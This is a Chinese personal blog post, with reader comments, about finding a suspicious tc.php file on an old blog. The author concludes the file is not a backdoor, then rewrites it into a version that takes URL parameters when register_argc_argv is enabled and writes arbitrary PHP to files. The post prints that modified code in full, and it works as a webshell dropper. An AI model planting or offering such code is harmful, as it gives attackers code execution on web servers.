作者在旧博客中发现可疑的tools文件夹和php文件,初步怀疑是木马后门。通过代码分析,发现代码主要用于解析命令行参数和处理文件内容,并无直接恶意行为。但在开启php的register_argc_argv后,代码能接收web路径参数,构建payload,从而变成恶意代码。最终,作者确认原代码非木马,但自己改动后的代码被检测为恶意。
此内容根据文章生成,不代表个人观点,仅用于文章内容的解释与总结
我的旧博客是通过宝塔部署的,一直没更新没维护,只是打算做个“纪念吉祥物”放在那。昨天闲逛时发现博客站点根目录有一个tools文件夹,关键我一点印象都没有。点进去一看里面的文件更加让我陌生。里面还夹杂有php文件。我的第一反应是不好,被“种马”了。
打开其中的tc.php一看,有参数接收处理,还有写入文件方法file_put_contents这让我更加确信这可能是一个木马后门了。
不过,我的第一反应不是立即删除,而是打算搞清楚这个“木马”是如何利用的?想着如果能搞清楚这个原理,或许能够为我所用。当然...我指定所用是研究学习用,不是搞破坏哈,哈..哈哈...
原理解析
通过对代码的解析和了解,代码主要作用是用于解析命令行参数、处理文件内容,并将修改后的内容保存到指定输出文件中。代码本身并没有直接显示恶意行为。纳尼?搞错了?我试图构建payload,看代码能否接收到参数并运行。发现无论怎么构建都卡在'no args'这一步。了解后发现$argv接收的命令参数,根本接收不了web访问参数。再结合php_strip_whitespace和preg_replace方法,基本杜绝了写入恶意代码的可能。
秉着绝对不意气用事;绝对不漏判任何一件坏事求证思想,我将代码通过阿里云线上webshell检测后确认了该代码确实不是“木马”。但是...我又又发现了一个新的大陆,让额精神一振。开启php的register_argc_argv之后,通过$argv = $_SERVER['argv'];就能接收到web路径参数了。
真假"木马"
基于register_argc_argv开启的情况下,就能构建payload了,页面能接收到参数。只不过会卡在php_strip_whitespace和preg_replace上。于是,再稍微改动一下。变成如下代码:
<?php $argv = $_SERVER['argv']; if (!isset($argv[1])) { echo 'no args'; exit(1); } var_dump($argv); /** 解析所有的参数 */ parse_str($argv[1], $options); /** 必要参数检测 */ if (!isset($options['in']) || !isset($options['out'])) { echo 'no input or output file'; exit(1); } $str = $options['in']; echo $str; if (file_exists($options['out'])) { $str = file_get_contents($options['out']) . $str; } else { $str = '<?php ' . $str; } file_put_contents($options['out'], $str);
保存之后,经过阿里云webshell测试,不出所料的“恶意”代码。阿里云也直接开始短信推送安全警告,发现木马后门。仔细回顾一下,发现这段木马有点太过明显,有点画蛇添足了。无法为我所用。正常情况下,register_argc_argv都是默认关闭的。实际上这段代码它本身并不是恶意代码,但是经我一番“栽赃陷害”才变成了恶意代码。
好吧,最终的结果是:我发现了“假木马”,但是写出了“真木马”!
没有办法脚本型都这样子,比如像asp都这种样子,用像java,go这种编译的就没什么问题上传了也跑不起来,不过还好了我博客都自己写的多了什么玩意都知道,并且我监控后端全部的异常请求邮件通知,然后我根本就没有开发一个上传接口,上传文件都是ssh上传的,页面基本上都是静态的
原来是处理成了木马,厉害
基于PHP代码编写的项目 简单而实用 个人感觉
确实,php是世界上最好的语言。哈哈( ๑´•ω•) "(ㆆᴗㆆ)
哈哈,php就是这样,用漏洞上传个 php文件就可以为所欲为了,java没这样的机制,上传木马不行的
脚本型语言就是这样,但是耐不住好用啊